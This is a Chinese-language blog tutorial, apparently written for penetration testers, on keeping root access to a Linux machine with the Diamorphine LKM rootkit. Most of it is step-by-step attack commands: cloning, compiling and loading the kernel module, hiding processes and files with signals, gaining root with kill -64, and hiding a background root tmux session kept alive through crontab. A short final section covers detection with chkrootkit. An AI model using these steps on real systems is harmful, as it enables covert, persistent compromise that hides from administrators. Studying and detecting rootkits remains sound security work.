LKM RootKit 实现持久化
在渗透测试中,在获取 root 权限后,为了防止用户修改密码等操作导致获取 root 权限的操作难以复现,攻击者通常会想办法实现持久化。
这里是使用 LKM Rootkit 进行持久化的方法,LKM 即 Linux Kernel Module,就是 Linux 中可动态加载的内核模块,它运行在内核态 Ring 0,通过加载内核模块形式的 Rootkit 可以实现持久化。
本文将以 Diamorphine 这个为例进行学习。
Rootkit 安装
下载项目:
1 | git clone https://github.com/m0nad/Diamorphine |
编译:
1 | cd Diamorphine |
加载模块:
1 | insmod diamorphine.ko |
模块安装成功后起初是隐藏的,可以向任意进程发送信号 63 使其可见
1 | # 给所有进程发送 63 信号 |
可以通过 lsmod 查看
1 | lsmod | grep diamorphine |

想要卸载的话,需要在取消模块隐藏后使用 rmmod 卸载
1 | rmmod diamorphine |
Diamorphine 使用
(1)隐藏进程
Diamorphine 可以通过向某个进程发送 31 号信号来隐藏/取消隐藏某个进程
1 | kill -31 pid |
举个常见的例子
使用 tmux 可以创建一个 root 会话,并置于后台,并且指定套接字文件为一个 . 开头的文件即可对套接字文件进行隐藏。
1 | tmux -S /tmp/.hacked new-session -d |
之后便可以通过 Diamorphine 将其隐藏
1 | kill -31 365 |
隐藏之后用 ps aux 是查看不到进程的,可以更好地进行持久化
但是这样并不能实现每次开机都会有 tmux 会话,因此需要结合 crontab 定时任务
1 | crontab -e |
脚本内容示例如下:
1 |
|
但是需要注意的是,Diamorphine 对模块本身和进程的隐藏都是隐藏了查询时的目标记录,但并没有真正删除该目标,因此
/sys/module还是能查看到 Diamorphine 模块,/proc下面也还会有对应的进程文件。
(2)提权
加载该内核模块后,对任意进程发送 64 信号,会是当前用户成为 root
1 | kill -64 0 |

(3)隐藏文件
任何以 MAGIC_PREFIX 开头的文件或目录都会被隐藏
这个是编译前可以自己设置的,默认为 diamorphine_secret
这个隐藏使用 ls 命令是看不见的,ls -al 也不可以,但是确实可以直接使用,find 等命令可以查找到
rootkit 检测
使用工具 chkrootkit 来检测 rootkit
安装
1 | wget ftp://ftp.chkrootkit.org/pub/seg/pac/chkrootkit.tar.gz |
解压缩
1 | tar -zxf chkrootkit.tar.gz |
编译
1 | cd chkrootkit-0.59 |
执行
1 | ./chkrootkit |
需要注意,该工具的运行需要 root 权限








